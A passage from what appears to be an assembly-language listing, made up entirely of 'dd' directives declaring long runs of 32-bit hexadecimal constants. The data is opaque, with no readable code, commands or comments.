0E07C975h, 212B34EFh dd 4DD83022h, 0B93F5AE6h, 0BA489714h, 0AE3D20CFh, 0DE3460EFh dd 0A31E5915h, 0EC6F4249h, 806E880Eh, 0A86F709Bh, 7A77FAEAh dd 0BF822652h, 0C6E5B040h, 6D44D507h, 916F68Dh, 848ADA1Eh dd 5C2F2BD8h, 43801C0Bh, 1ECBBAA9h, 0BFDDA351h, 41696675h dd 8C7F9F24h, 6D1FDE9Eh, 0E68BB4D8h, 0F9D23864h, 6C161207h dd 4C1309F6h, 6FF58C42h, 0D45AA495h, 658A48F2h, 0AB113261h dd 547686E0h, 0CC47916Eh, 1A83E4B2h, 4882DBB5h, 0F6AD23DFh dd 0D0575716h, 91BBCAB6h, 0E8D29E0Eh, 12C6C272h, 0B0A05D1Eh dd 96636BB2h, 3251FBC0h, 0F5DF3750h, 5D643782h, 0A6E0DF85h dd 26231472h, 40F28884h, 386CDFC7h, 0DA81A05Eh, 5392220Ch dd 4BC0A19Bh, 91A49273h, 19370260h, 8E265D03h, 0BC3F7CA1h dd 928CFF93h, 0D16C7F12h, 0ABAA38A7h, 8EA36BC5h, 0ACE61AD0h dd 92C95D7Ch, 59BC60CAh, 4C0AA999h, 0F14F74C5h, 0F8E88153h dd 8C5A883Eh, 924D78D3h, 996B071Fh, 0F3C6A4D0h, 0E82113ADh dd 40C13D25h, 75AAD13Eh, 0B8209077h, 0EE77974Ah, 581791EBh dd 0C01ADAE7h, 8365CE9Bh, 0EA5E0BF1h, 1EAEDC8Ah, 0EBBA8707h dd 22172494h, 557B7856h, 10F9C508h, 368DDE52h, 69248B05h dd 573803Dh, 5548125Eh, 4AFD1744h, 0FB2A5044h, 0D5EEC9E9h dd 0F695A894h, 858BABAAh, 0C3D4FD65h, 0C9967979h, 6F4C4D5Dh dd 0DF8AE5CDh, 42A62844h, 37E813D9h, 3AEE1ABBh, 99DBEB68h dd 0C711F263h, 759D69E0h, 94E37525h, 243C2AEh, 9C2DB937h dd 0E27ABF34h, 0F9DD5A82h, 0A6D51AE8h, 6332E134h, 688D5F4Fh dd 98F3F2F4h, 0C77EB681h, 0DD38696Ch, 2F27227h, 0A9BF7794h dd 15A542Eh, 0D029B1D6h, 37A8C21Eh, 0FCA72987h, 57C95063h dd 75E50E7Bh, 18EED3A3h, 0A6460845h, 0D24D9402h, 5BB439ABh dd 1CB75904h, 0A810152Ch, 0D26F7DEh, 0F3DA887Dh, 0C1AD6765h dd 3A032BB8h, 4D71558Fh, 0FD9DECC6h, 9F830F2h, 5B62E67Bh dd 5A4AEEA3h, 7E9161B0h, 0BD8A7C2Bh, 25EE261Ch, 0AD3A452Eh dd 6272AF3Fh, 207013AEh, 79159990h, 4A978C7Dh, 0B642699h dd 0AED324C1h, 70F3F066h, 0D106442Dh, 39CE69CFh, 7670F829h dd 0B8E39FBFh, 1172C1Dh, 0C5BB41DAh, 8E22D2E9h, 3231285Fh dd 0E11278CFh, 86077AF1h, 5755E0A1h, 0A6A60899h, 79F9BFA5h dd 3A1A6ACh, 3507DF16h, 531916BFh, 67C06097h, 2172923Ah dd 6BF76BF3h, 3735598h, 8D283F4Ah, 13D7A66Ch, 0BBE9E008h dd 0F1A207A8h, 6D47B7C0h, 0AEA0A019h, 28174155h, 1111187h dd 2DEDFB9Bh, 7DD46D91h, 42A20752h, 0AB59206Ch, 302F62DBh dd 2467D71Ch, 3A17670h, 0D913EC83h, 694E1D8h, 648AFFA3h dd 86075F3h, 0D86BD60Ch dd 3ED40598h, 9075547Eh, 68CA0BBAh, 0FF2548BCh, 0DFC5D23Ch dd 12B0E97Dh, 3BE352D3h, 32311886h, 0A275A7AAh, 0E7C59C42h dd 0B2050E70h, 0CAF4F2D2h, 0FED36F3Dh, 0B36E580h, 6CC55F95h dd 144557BEh, 410B8900h, 0D4F43E89h, 6ECFFD3Fh, 86FA9850h dd 0B1F09CBBh, 380311C1h, 73386067h, 0E59F1BEBh, 0F8E3D3F4h dd 0D4E3458Ah, 5385B71Bh, 8F785821h, 927D3058h, 0D7143807h dd 2EB94D9Eh, 41987746h, 6087C6EFh, 0FCC46954h, 39158CEEh dd 0F861B078h, 0B1B06793h, 3BF210E7h, 724DC93Bh, 0A4482CA2h dd 4C4E49ACh, 4E170337h, 82B1F832h, 0BBAC5D02h, 1B188D73h dd 38CC55F6h, 0C50DEABFh, 0E6EB4302h, 17B87B73h, 0DC2FCC93h dd 725E95B0h, 7CAB2AD6h, 0E4B69378h, 3FAC5359h, 0CBB5D25h dd 580CB6E5h, 0F7728F7Ah, 415DF426h, 2B7AAA43h, 914A5E94h dd 2267E8BFh, 0D6C760D3h, 17898872h, 2C3505D4h, 0A5CE8AF7h dd 28C8BEBBh, 5B3F6534h, 0E5716312h, 0F37B89B1h, 90C9DF92h dd 0FD25184Eh, 0F2E265FEh, 0F7A84E36h, 0FE597781h, 0B724AA0h dd 7F1E0791h, 2810C215h, 0B30BD982h, 0C96537E7h, 0D7EB4041h dd 5DE0EACDh, 20C7B3C0h, 3AA5A5h, 0A6DA197Fh, 4A2D13E3h dd 0A960F4D9h, 9174D20Bh, 0C5B9E78Ch, 0B5699E4Dh, 0B1A3ECB8h dd 0B062FCA7h, 406062A2h, 9DF2991Dh, 812747A0h, 0B40A93EEh dd 0B3C249ECh, 5E156AAh, 0FF136AE5h, 96BA27Dh, 547210D1h dd 7448D7E5h, 0D3FFB92Fh, 906634F7h, 8EEFA244h, 0D385324Dh dd 3AD8D22h, 4117A334h, 704DF417h, 0E53CAA88h, 56F419A5h dd 0BE6F3247h, 0BCD010Fh, 40030460h, 0BA51F522h, 24368CECh dd 77C5F5F9h, 0E4BE4BE4h, 3766141Ch, 0A7BFD17h, 9E98AC66h dd 52E65590h, 2C73D679h, 3F201972h, 0D69B545Bh, 2838E0ADh dd 3B239F66h, 0F10CE4DEh, 0AD0AA3A6h, 2B7D43D9h, 0DB8D92B0h dd 1D9DA8DCh, 9B72650Ah, 26A4C9C5h, 5CAE2EBAh, 0A07C1FFFh dd 1126935Bh, 728703E7h, 0DD5FBD25h, 0B38697FEh, 0FB886A66h dd 6CE96C12h, 0A8CD0ED2h, 0E64F6358h, 19A86DBBh, 8DE1E2D1h dd 3301F77Eh, 0BF74B033h, 999D85AAh, 0C5245A15h, 0C774304Bh dd 2056C8B8h, 0A4427D1Fh, 0B759B627h, 0BF9ACD56h, 0BC2807E3h dd 80F305CBh, 1B59BB4Bh, 648AB9CDh, 1ED2423Ah, 301E27A4h dd 0A1380750h, 0A78892FCh, 4D457140h, 0AE63DEB0h, 8F1506B8h dd 9375C35Fh, 0A29A9C4Ah, 8A661432h, 4B57D1B0h, 0CAAE632Bh dd 0D392D7FDh, 0B0278E68h, 85C16B24h, 0FB2E309Bh, 6A5B5C54h dd 3F54237Bh, 7A017221h, 3DAAC554h, 0B606601Dh, 0BDCD458Bh dd 47EFF7A1h, 57629F38h, 6D3231B9h, 0CD9E834Bh, 0FF70CAD0h dd 0BD27DB39h, 0E682C64Ch, 0F0597677h, 0B592D907h, 0FEFAEBC2h dd 0FFC0C1CCh, 43A14AF4h, 0CFA008AFh, 1B1DC515h, 55D09C24h dd 0BEA391E7h, 0AAA54D9Dh, 0B6842A1Fh, 3F2A1BC1h, 239ED8F3h dd 8CB25707h, 0B037FDCBh, 360F6029h, 0BFE8A62Fh, 0DD2ADAF2h dd 0D97B48EDh, 0FDC574D7h, 0EF53FCADh, 5D8933C8h, 0A15E1FDDh dd 831C3FB8h, 28C9A0F0h, 1D12B125h, 411C3BD0h, 0EDDCDC3Ch dd 71851A1Ah, 26561CD6h, 457146Fh, 79F4BCAAh, 0A0E8C130h dd 0B9CF88ACh, 0D006C3DDh, 0E32928E2h, 0BF491C2Bh, 2AF367EEh dd 0C4A41A3h, 0B7E6D2EFh, 72196929h, 1FC51775h, 0EB66CA38h dd 5C17210Ch, 0DB186C3Ah, 9421BFD5h, 0AB8E7756h, 0F84EE5CFh dd 0AD183EA7h, 73C1FC1Fh, 7E4C1D8Ah, 0A49D86A4h, 9AB266B9h dd 0B328B839h, 1A0C3E50h, 0EC24D1Eh, 4B739D99h, 14DD8026h dd 0F8EC7F72h, 0A5070766h, 0CF49613Bh, 2BB99435h, 0C5FAFA1Ah dd 183A14FFh, 5BA44AB5h, 8C609ACAh, 491BE6FDh, 80BFC250h dd 0A1B493BCh, 0C43D4C09h, 0D45BDFDh, 1B2B768Eh, 5F43BB2Ch dd 5819386Bh, 9897C6B6h, 0E1F0BD2Eh, 239E89C2h, 8FC85461h dd 0AB98233Fh, 0AE80510Fh, 0C3E78B09h, 7DA305F1h, 301ABEF1h dd 14246A4Bh, 0F9B60AB4h, 2B164275h, 0CC586506h, 0D762A716h dd 0F7C59A5Fh, 427EDE99h, 1946922Ah, 640E3ED8h, 5D8BCC3h dd 0AB49F13Dh, 56465102h, 8CDD91F1h, 0AFBD6550h, 8D4E6E27h dd 0BCE76CD8h, 81A57269h, 6EA11D8Bh, 67022584h, 804271C5h dd 55CB3AE1h, 2EE656FFh, 91E259D2h, 10707726h, 9F0753E7h dd 9C9FF619h, 5C3FB292h, 998A4815h, 1E8E5B75h, 4280D352h dd 5376BF97h, 0DD122359h, 0B0091AAh, 0CCC43643h, 0EB22291Eh dd 9785F954h, 1868AF7Dh, 0D1743AA9h, 1519DC28h, 40141A4Eh dd 0B6C7601Ch, 58F65591h, 0DA77915h, 38805103h, 0FD38320Bh dd 32124D1Ch, 5630D3FCh, 0EF2A7627h, 27C9AFC2h, 4F2B54B7h dd 0C6F76EF2h, 24B24C22h, 9AEE1136h, 59275B4Ah, 0F09FEC5Fh dd 63A37C61h, 0F32601E2h, 72504DA0h, 2A027F2Fh, 4800679h dd 0D535D3FBh, 7ADFEF76h, 8795A252h, 0D52C8595h, 4C627AE0h dd 45F5C300h, 0B0CA8503h, 5D93F3F1h, 0DD6AF938h, 0E5EF7918h dd 7AE8196Dh, 289B7D2Bh, 0C4D55018h, 32FAE47Bh, 4064C312h dd 54E7D6DCh, 4C08B79h, 7C650153h, 0E34F161Fh, 787D2B2h dd 0D4350285h, 0F057B1B3h, 0EF96A251h, 9457CB3h, 0BEBCE282h dd 398181F2h, 76A4C2D5h, 9F32585Bh, 3EB1F8F0h, 308ACFE1h dd 0D7A33EC7h, 33281859h, 0FFA78E8Fh, 0DE6D1EB5h, 0A1B6FB0Fh dd 4D21A841h, 0C7A9F9BEh, 6087DB18h, 537290D0h, 0B0B923FFh dd 305249CEh, 0FCF466EEh, 0D87B2343h, 370ADCFBh, 9B76F917h dd 64E69022h, 73D045DEh, 25D9DE88h, 468B8973h, 0A9E24704h dd 5E81C821h, 1B179BA4h, 0FE23ACF6h, 30F6819Ah, 1299E53Fh dd 2A4E1551h, 0A860465Eh, 0E41E4C14h, 0DC5850A8h, 248D756Eh dd 4090F29Bh, 0E3276DF3h, 1AFAE086h, 49E3CE8Bh, 0E25CCE5h dd 643F6DD6h, 0A76DC2FEh, 41E18F64h, 0FABEF6E6h, 367C0122h dd 0B1BD1DDFh, 0F6FD63E9h, 0EFC36CFEh, 0C3804FDAh, 0A193656Ah dd 0F9EF3B0Ah, 0F0DBB1BBh, 6E669841h, 0C80FC27Eh, 0F27D1569h dd 0BBC890FAh, 0E0B2FEDAh, 8CC5A59Dh, 39389E3Eh, 0BDE12A5Dh dd 0B89D1EA9h, 73503FE0h, 0F985D9DAh, 56987F3Bh, 32539189h dd 0B3CA259Ah, 668DFEC5h, 81EAAD81h, 9226DF74h, 715B2D83h dd 82C72E06h, 5C3359A4h, 0C61EEA8h, 72EC048Bh, 7BA940Eh dd 0C103AA78h, 0ED69120Ch, 0C88CB17Dh, 0C2F614CBh, 3C027D85h dd 0ED2A65E8h, 0A72D2823h, 0B58608D9h, 5236CEABh, 55950D63h dd 32C03FD3h, 0ECC6BF50h, 0C20B94E9h, 0EF3DB121h, 1E3C7BD7h dd 7457BEB3h, 363B391Eh, 4F81B1D7h, 34F9A053h, 0AB464E7h dd 0B398C398h, 23AEFFDh, 55A50CF1h, 8469C46Eh, 51DE5A41h dd 81091F28h, 934E7E2Eh, 0FE325C08h, 54510888h, 1DA59E78h dd 9B834A24h, 6B5658B0h, 9F9D5358h, 3231F1EAh, 0B688D792h dd 4D6B5EABh, 65989DFh, 0F8481A0Bh, 2B021D9h, 0FBAC4486h dd 0BC92FD67h, 4ED3E51Ah, 8C03199Dh, 5D30403Ah, 666C8801h dd 77F452F8h, 0A11B8849h, 43D84FE9h, 0EDFDB99Ch, 62B72DEBh dd 6CE1CBBh, 0FEA795DEh, 77BE58F2h, 0DCCDA22Eh, 0F2164743h dd 1ED619E0h, 0E57254FFh, 36661907h, 0C0E79576h, 6F0E91EDh dd 0D5371ECh, 30DE87A7h, 47F14E23h, 0CDBE3CF4h, 84625B5Ch dd 0E06BEF8Fh, 0E34D2ACFh, 0FBB19474h, 0A8417034h, 0F3B82FDCh dd 1FEF3Eh, 0A2E5C37Bh, 94AEC473h, 0C3CC11A0h, 0E78A409Bh dd 0C615DEB2h, 476413FAh, 0A7091CCh, 62B777E0h, 0F90CCA33h dd 0B9758910h, 0CC4F67E4h dd 0E28A104Eh, 2571D7D8h, 2D9466C3h, 1BAE4B28h, 20726C75h dd 408C075Dh, 0C573365Bh, 0F160C789h, 5A173799h, 4335BD60h dd 3D894D6Ch, 0B6588555h, 0C86022BBh, 0C4D3CEECh, 0F48EC4D8h dd 5159135Dh, 9CCF87E0h, 6413F4AEh, 0ED2D51E4h, 93C85191h dd 804CC76Bh, 0A09761DAh, 4B111B38h, 1384C909h, 9B10C4C3h dd 4DA3D6B4h, 5C7EDEBh, 0FE352A32h, 4B61D425h, 0BDE8D438h dd 0E6DA25B8h, 0CD1FBB23h, 3595F6D4h, 37D7A578h, 0D27C89E4h dd 2673DCB5h, 3A7F878Dh, 44589241h, 5211DE09h, 7C05ADD0h dd 0D79A2CD0h, 8DBCCCA9h, 0B41993FFh, 0A923F77Eh, 0C6B97CF1h dd 0B5CC3535h, 3EDC6A48h, 0B7BCCBAFh, 0E3B31ADDh, 0CF652699h dd 0E59CEB63h, 0BD448162h, 1480E160h, 0FEE23982h, 1907A48Fh dd 24E44DABh, 3278B493h, 1220CB3Eh, 3BF04299h, 76BB24FBh dd 6069D9E8h, 0D761C84Dh, 7C652A39h, 61A8A13Dh, 80A80359h dd 892D6F1Dh, 903B8086h, 0CB2877B8h, 0D45811BBh, 47AEFE56h dd 7D7EEFC2h, 78FA3004h, 0F790A311h, 8B22C923h, 1B273612h dd 0D5B6C2DBh, 0A40DFA51h, 0B4E2C141h, 0B05F9AA7h, 0D5ECDE9h dd 9E92686Fh, 44CF984Eh, 0A6880AEAh, 0B927907Ah, 47FFD0BEh dd 0A62AD8D8h, 0BEDCCB89h, 0EBC9C03Bh, 11D61250h, 512BF64Fh dd 7607BCD3h, 28804D80h, 0C9B67162h, 9BDED854h, 92197822h dd 0CDAD6F0Dh, 0BB269594h, 8699576h, 0A5ED6142h, 11C9AFFAh dd 0D55921EEh, 21E324EDh, 9B70E617h, 0CAE72D9Fh, 603BD6C7h dd 858EFC7h, 6FEDEA3Eh, 4AE5A347h, 8F5ADE0Ah, 0D697136Ah dd 92D3E14Dh, 2FE7D644h, 0AE58D704h, 8F3CE506h, 8C3904E6h dd 6B0ED3Fh, 0B903AC0Fh, 783237E8h, 4295CE84h, 97C9BF22h dd 74088761h, 0F92E7FF1h, 0C68AD2FAh, 5DFFE43h, 17D01167h dd 0B11B85E6h, 0DC622023h, 0DE33CC72h, 0E856A6E4h, 65A08850h dd 22AAB707h, 0D8D3CC84h, 0A3DBC482h, 8D7F7A92h, 44E6B8DEh dd 12639577h, 0CC44BF05h, 0B5F6C54Eh, 69CE7ADh, 2112EAD7h dd 0DD4911B5h, 3708E4DCh, 7EF2B7B8h, 3B840E9Fh, 7B6BBCC4h dd 0F0CC81BFh, 5C28A569h, 2D473231h, 0E36F5F68h, 0A5DDFE19h dd 0AE530332h, 0CC67EACEh, 12D045EFh, 3B13034Fh, 904C1F37h dd 6556B3AFh, 39559C6Ch, 6E9B0F44h, 308203B9h, 5E27D618h dd 2B4CAF3Fh, 952D1D88h, 29473042h, 9C810FF9h, 0B184F8C6h dd 0E97BEFEDh, 31A08BE4h, 0E8E4D432h, 55502508h, 8F0D2545h dd 3290F4B7h, 3B5A565Fh, 8584755Bh, 0AC23BFA3h, 661CA25Fh dd 8D700485h, 546B01DEh, 0EA2706D5h, 2D387EB9h, 0FE0A6E8Ah dd 4F7390D8h, 736C4596h, 61E8D11h, 0FE6BE059h, 74C73CF9h dd 28765D7Ah, 436492A1h, 50FFEFDDh, 0A23AB3D8h, 6DCD987Fh dd 5CA2F529h, 499A390Fh, 1F1B51B4h, 0BDC349EFh, 0F1238089h dd 49CF80h, 0D76F5CC4h, 6CD5DC74h, 972C679Ch, 2D113F73h dd 7789BDAh, 0F33B7483h, 4F8FD8EEh, 46A4D672h, 3352D409h dd 0D98A4805h, 62C1245Ch, 0BB68BEE2h, 0FAE722E8h, 1107C89Bh dd 2EB0734Ah, 0B6DAB725h, 0CE675901h, 989644D5h, 0F39559B4h dd 0D71AA52Bh, 0E255C9DBh, 0CFF7B992h, 29F46B19h, 0ECF7EB65h dd 0A3802901h, 0C52921DEh, 81E0B523h, 0C9B84387h, 34028C0Ah dd 0EC158070h, 1F0E798Fh, 40F7CFD7h, 63105057h, 389E670Bh dd 0B4E7897Bh, 0B11FF197h, 0F1EADC4Eh, 0EDE4681Ah, 0E586195Bh dd 28613C13h, 845FB594h, 4DC0061Ah, 0D7FDD671h, 411B704Dh dd 0B2293F94h, 0AC58DDF5h, 180DC9C6h, 22FE3270h, 0D376D748h dd 718CCE69h, 2BFAAD4Fh, 17EC4F9h, 9AED2084h, 0D3100700h dd 3D76E00Ah, 0B9BB2E12h, 0F12B24h, 0BABAA272h, 0E707F924h dd 4203C882h, 742C1DD7h, 83741CCAh, 23C39122h, 4284263Fh dd 0DEDD8A0Dh, 33F85C41h, 0D8AAA84Fh, 0FBB2EA0Eh, 0F2DCF2BDh dd 5AB5DA72h, 7FA0DD1Dh, 9F253491h, 7EA6DE52h, 0A25F66F5h dd 78081EC7h, 57E6495Ah, 0CF96C0EBh, 7030295Fh, 0A7E02C5Dh dd 42B7AFC3h, 93DB21C3h, 935C242h, 3ECC6B9Fh, 0E511BF75h dd 0BE4F14Ah, 2ADB0EC9h, 72BDD656h, 2E3BF721h, 9943E93h dd 60D1750h, 0C7009B36h, 325B5732h, 84FFFA93h, 0D448259Dh dd 5FD8B26Dh, 4F3634AAh, 6E3DCBDFh, 48431D04h, 17BD22FDh dd 915F0A12h, 1B2CFB95h, 0CCF59CDCh, 0D4CDB72Ch, 42B82C3Ah dd 52DE7164h, 3EDC1467h, 263257C5h, 0DCBCD2C6h, 5647E15h dd 0D112A150h, 0CE195DFAh, 5F3F7290h, 258B46A5h, 21C847A9h dd 920CB474h, 0F1D084E9h, 92EB6C84h, 0EAC26968h, 0C86B2FDh dd 36144150h, 0FB62FD3Eh, 0D774A11Dh, 0CBCFF6E1h, 0C1E2A0DFh dd 659A7F15h, 3F16D590h, 0FB539BBCh, 45F791EBh, 4B42F297h dd 37AE7EABh, 0E78E3821h, 205CB20Bh, 3FD9B006h, 0CAA9DE5Eh dd 0D0223231h, 10CDD622h, 2FA77F45h, 977BEB26h, 29AA04E4h dd 631B9143h, 0DBCB66B5h, 262D13F7h, 9F46CD8Ah, 9C9005D1h dd 248278A1h, 0AEC00822h, 0E36B1A54h, 2C7161F9h, 5064F0CAh dd 0E58EB02Fh, 9F14C91Eh, 36D588CAh, 0CBBF7055h, 6DB6EC6Fh dd 75D1CC65h, 969BA9FEh, 208F4FDCh, 0DA8F7B11h, 6403045h dd 7B59D50Bh, 6227DB05h, 8221C43Ah, 8D48FDF7h, 0F657F8F7h dd 31DFC458h, 0E7052732h, 8950F67Eh, 3539CBD2h, 468A6003h dd 0AC4FDC54h, 0D439550Bh, 5D4490D0h, 54C32CDEh, 3D0F19DFh dd 9E0D7AA7h, 0C0968BEAh, 0E1140538h, 32798301h, 16F50BFh dd 507D4E96h, 0FD3AA341h, 21B9764Bh, 5A1678C8h, 2DD79418h dd 0B858206Fh, 6DB92CEDh, 0BE7E2718h, 999C585Dh, 84DB0D90h dd 9CBFF805h, 0B104C236h, 81EF8D65h, 8C59EB49h, 0B66CDFAEh dd 25040DE2h, 2A3231C9h, 819EC7h, 0CBE326F1h, 9D323123h dd 8ECBF277h, 9E87AECAh, 0CBB6395Bh, 4B6F4B9Fh, 15A91117h dd 0B6FB95FCh, 386FEB49h, 2568CA8h, 22A4A0A0h, 93D59557h dd 244562C4h, 2E303274h, 79D6D626h, 0A81D0ADh, 0DFD292Ah dd 9E3450B9h, 20670263h, 0A4DD7E1Ch, 16AE0DB8h, 92A58F80h dd 89A06C0h, 0EE8D5936h, 45A31576h, 0A3764C6Fh, 0A94580BBh dd 0D0BA32A3h, 79457597h, 37494E97h, 4285AAA2h, 17545D70h dd 0EAFBF6C0h, 9848D6ECh, 0F7E573B8h, 0B051814h, 682BF775h dd 9B6C5A17h, 68B2F160h, 0F0EB29EFh, 7EC23E56h, 7974E0Fh dd 2749532Dh, 0D6E37D16h, 0D796815Dh, 0AA10C36Eh, 1F1D53A5h dd 0D35908DEh, 26F94CFEh, 2821FD08h, 0C1CBCD1Ch, 0DB0A5EC7h dd 0D2C20093h, 3CFBEBC4h, 0D34B09CEh, 0D6B293Eh, 0D80FDE3Dh dd 0B10597E3h, 0AD1DD305h, 9853C8D3h, 0F4E0A4F2h, 72692DE0h dd 0C25C6DBh, 2C4E12B4h, 0D4C46D0Eh, 0F6CB4337h, 0F512B1E3h dd 49C5C6D2h, 802C0A9Dh, 0C8F759A1h, 5BF33561h, 4D827169h dd 0CB03A6A8h, 8FD4C07Bh, 0C0647BD4h, 0EB0A25B3h, 1FE1645Bh dd 0DF98B627h, 0FEBD32FAh, 1B08832Ah, 69F640C4h, 8AA67929h dd 7BCC1D18h, 0A559A1A9h, 777D5C0Fh, 9401E482h, 0A0004307h dd 43B17721h, 1CB3C1CFh, 0E364565Eh, 4402F3C3h, 6CB745BDh dd 0C99B748Bh, 0DED7BBBh, 5DC44661h, 76448DDEh, 195327BDh dd 0DCEA5708h, 0CF0989A4h, 2DAAEE03h, 0D050B8E7h, 0B01DD188h dd 0EEE3DC17h, 0C9AF9DA9h, 9B90DE38h, 871504A7h, 0C6C703C0h dd 8CF57A97h, 6A307DCFh, 251B8A0Ch, 3521D335h, 0B1B7290Bh dd 541E7440h, 0ADEFC644h, 1722AA8Ah, 65EB7A93h, 0ABF55F1Eh dd 5BFF29ACh, 0E504C479h dd 617DD0E7h, 765DE7E5h, 0A5E1B5CDh, 0A3E2DC13h, 0CF2076D2h dd 84959F7h, 6DE4E6BFh, 93B771D3h, 0FED2D92Eh, 0C7C59AA8h dd 0A044D1E3h, 70565E00h, 7B278316h, 0B9A69B48h, 3EDD88Eh dd 5A0F7458h, 463638FBh, 9EAE8784h, 0B8D32EBEh, 5697076Eh dd 110D08E3h, 36E66260h, 5B1B0F2Ah, 0F232EE4Ch, 0C382695h dd 4F846C11h, 47FEDC36h, 9CD99555h, 2D84C1FDh, 3B499962h dd 2E60E6A7h, 69F7BE7Bh, 8BB7E26h, 5FA10CBBh, 1EBEA674h dd 40EEE18Ch, 0BB1AA1C7h, 7F790F3Eh, 0FA4751F4h, 0C39110B2h dd 51361378h, 68B24273h, 5D1DD2D2h, 0E6FE92B6h, 8353691Dh dd 8629D9D6h, 692EBB33h, 0D0202639h, 532817CEh, 0F7859270h dd 2D9A1B89h, 0A00A875h, 15E3B9A2h, 0FFFDBC94h, 9407F888h dd 17B1394Eh, 3202DE0Bh, 41DBBBDDh, 0C7DB7F1h, 0A3D1C007h dd 46628AFEh, 0A679808Bh, 2E1B70CDh, 282BEDAFh, 3DCCF8CCh dd 0F05F730Ah, 0B767B1DBh, 0F033937Eh, 835C3880h, 8E363FB5h dd 0B572ADECh, 94979EE7h, 0E702F05Eh, 96A45772h, 0DDDDCD6Ah dd 5F722026h, 0FDA481EEh, 25FAC089h, 5953922Fh, 0D67EEF48h dd 0EF32CDA3h, 0F24951B7h, 493CA489h, 1758ACB8h, 8C7237Ah dd 0B2D4123Ch, 0F526CA56h, 1C6D0259h, 0BF30C15h, 0D6A3CD17h dd 1AE4693Bh, 251832AFh, 49471F7Ch, 1A30F5B8h, 2C67C11Ah dd 92663F1Dh, 6E8520B3h, 0F240EA47h, 129957D1h, 19CA0A51h dd 0E96CCFE2h, 60E81807h, 954BFDD7h, 38F86A21h, 9B776EFEh dd 0AADA4343h, 0A321DC37h, 57ED675Dh, 0A70E1C5h, 56CDD623h dd 0A52975ABh, 50DA6F4h, 6EC8242h, 5DE2455Ah, 66F64A4Eh dd 4CB1FF71h, 5B4EAD37h, 7EF6AF76h, 0E572F69h, 32315664h dd 0F843E460h, 57829028h, 514681Ch, 859FBD62h, 9E27B058h dd 3A0D544Eh, 38336A76h, 0AFFC46E8h, 9AD9B1AAh, 9596423Dh dd 87378639h, 0E1C3ACC9h, 39BB5E3Dh, 0E7443E2Eh, 7244047Ah dd 8ACA4CC6h, 404852B5h, 0A9F5F5AFh, 0EE0F89B8h, 83B76880h dd 219B0737h, 0D1020819h, 711B3475h, 0F1A39D16h, 31D7FF3Ch dd 7C3D7B32h, 3CBE543Ch, 125D3454h, 0AAF41260h, 4A0B30D4h dd 0FDD158h, 952A719h, 24406EDBh, 49EC60C0h, 6359E844h dd 3027FB5h, 10C0175Dh, 0AB54BC06h, 325C390Eh, 5346F31Fh dd 8C518749h, 0C43ED8A3h, 2103A33Fh, 0BB26F8CBh, 30A8E5E4h dd 0C8E57A66h, 79EDF887h, 0CD95092Bh, 8387725Fh, 4EAAF97h dd 0A08F5A2Fh, 0F479F83Ah, 2FE9365Fh, 226D3C07h, 101E8749h dd 722C2D87h, 2B9812CEh, 0CEE952D4h, 78F7960Fh, 19C3EE33h dd 0C615DDD2h, 0A264E8BAh, 0E67053EEh, 327A2D52h, 0EFEA656Dh dd 388A0021h, 0C07E6162h, 52A94E4h, 0BA9B4B6Fh, 79686269h dd 8B975505h, 664A46DBh, 3B80D1A9h, 0CEF9A6E9h, 46B94E05h dd 1B529FD9h, 0B7EFF9BCh, 0B82C3C74h, 1B4963ACh, 0FB01C4FFh dd 4B99176Fh, 7FD20BD9h, 8DA64341h, 0AEA032BEh, 0DD1AA17Ch dd 87837060h, 509A53A3h, 63300C01h, 18D55E2Ch, 0A5E90869h dd 5AAB5F74h, 0CB1CB89Bh, 37BACCF0h, 0DED95127h, 0F646C1A6h dd 4F070B66h, 0B27DD815h, 3E385C5Ah, 0B518E948h, 0C57A2064h dd 227A8DAFh, 0DC74F3AFh, 1623AD58h, 0D8FEB8F5h, 5C000B8Bh dd 0CA3DF398h, 8129B354h, 6C10E2EAh, 0D47B545Dh, 12CD1153h dd 0B330A712h, 684ED7E1h, 0C43E71A5h, 62641315h, 0A0DAC84Bh dd 2C7D7C0h, 6285F671h, 9037856Ch, 5022FBA5h, 0F62F1CDEh dd 8444B30Ah, 6629086Ch, 0EADC04ECh, 0D9499041h, 0BA8EB9F4h dd 0FBCA3DD3h, 0AEA5FF62h, 33B92A1Dh, 0F5230C11h, 2324F4F0h dd 3A7646A1h, 0EBFD3808h, 0A466A89Ah, 4BEA05AAh, 0D05EA20Bh dd 884D467Ah, 4FA43CD8h, 0C18DE177h, 17B82A5Ch, 0BAF2893Bh dd 0CB27E9E0h, 12FE7AB7h, 4033A9CCh, 918F694Eh, 97BCE120h dd 0A5802CAFh, 4DB8936Eh, 6CB91A08h, 0F394DE3Dh, 9D33BA92h dd 0F9C6DB76h, 8CA25F19h, 188411B4h, 7959ADA5h, 29566C39h dd 5E730791h, 0C017EEC3h, 0E2DAA619h, 0E6249604h, 78F7DC6Ch dd 18C77C82h, 0E3F67EAAh, 72BC6389h, 28051A95h, 0B9A4CD9Dh dd 4865B5AEh, 0C0039D6Ah, 29173C3Dh, 0BEF2445h, 0E301231Ch dd 30E5E3D4h, 0C8F74A37h, 8F010EC2h, 87BAA55Ah, 3B3AAC89h dd 0ABF5A736h, 0EE873231h, 86FC8F98h, 0BC714ED7h, 944973B3h dd 8219D23Bh, 0BD8CA7BFh, 0CC42F007h, 4B0A437Bh, 0F398A367h dd 4141BA21h, 0C0D185E9h, 0E2CEF856h, 31DF6552h, 2060BB32h dd 13619836h, 1E9CD8CAh, 49EE44E6h, 274AB8C2h, 0A0D6237Ah dd 9F1F388Bh, 0DBDDD232h, 0B4337ECEh, 0C373B175h, 14654BB0h dd 93027884h, 96AE6FC9h, 0B35C7164h, 71497BE3h, 0CB538E13h dd 4A8032F4h, 690CBCC1h, 0BE8675Ah, 5DC44A65h, 6E7C412Fh dd 4BF8FC7Fh, 0EE40C801h, 7AD1C2D9h, 1212031Ah, 0C1D991EEh dd 28214339h, 96E8EA91h, 79864A56h, 14809CAAh, 22439697h dd 5FC08EB3h, 2B0FBD76h, 0A40977E6h, 0F889BB5Eh, 0F8750625h dd 2A574FB2h, 0CE492F50h, 3B65300Ah, 5AEB6B40h, 30146A03h dd 994B42A5h, 0EA35E44Eh, 7BCF387Ah, 3A3E999Ah, 151EB39Dh dd 0F8805EBCh, 996D0719h, 3D0D4DA8h, 12FDEC76h, 10BCB45Dh dd 49A09434h, 492BAA9h, 0DE37ED21h, 4A682211h, 0F3219206h dd 0D754A547h, 0B98D8CDh, 5D47C3FBh, 71187E1Ah, 0BA5E37E2h dd 0CDAFA961h, 0D7D4A770h, 9CD2A2DAh, 7B5E78A4h, 0C8A0E0F3h dd 265CB1F4h, 22ADC8E6h, 4824BB0Eh, 0A8A935A8h, 